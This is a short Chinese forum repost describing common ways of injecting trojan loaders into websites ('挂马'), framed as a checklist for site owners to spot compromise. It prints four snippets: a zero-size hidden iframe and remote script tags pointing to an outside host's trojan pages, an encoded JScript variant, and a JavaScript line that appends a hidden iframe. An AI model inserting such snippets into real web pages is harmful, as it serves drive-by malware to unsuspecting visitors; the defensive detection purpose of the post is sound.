逆风飞扬

常见的几种挂马方式与防范
http://bbs.s-sos.net/viewthread.php?tid=11656&extra=page%3D1

信息来源：冷漠‘sblog

ps：如果你的网站文件中有这样的语句的话，那你就要看看是不是被挂马了？

一、最简单的也是最有效的
<iframe src=http://www.neeao.com/muma.html width=0 height=0></iframe>

二、js挂马
<script src=http://www.neeao.com/muma.js></script>

三、js变形加密
<SCRIPT language="JScript.Encode" src=http://www.neeao.com/muma.txt></script>
muma.txt可改成任意后缀的。

四、不是嵌入了与iframe不同
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="木马地址"></iframe>''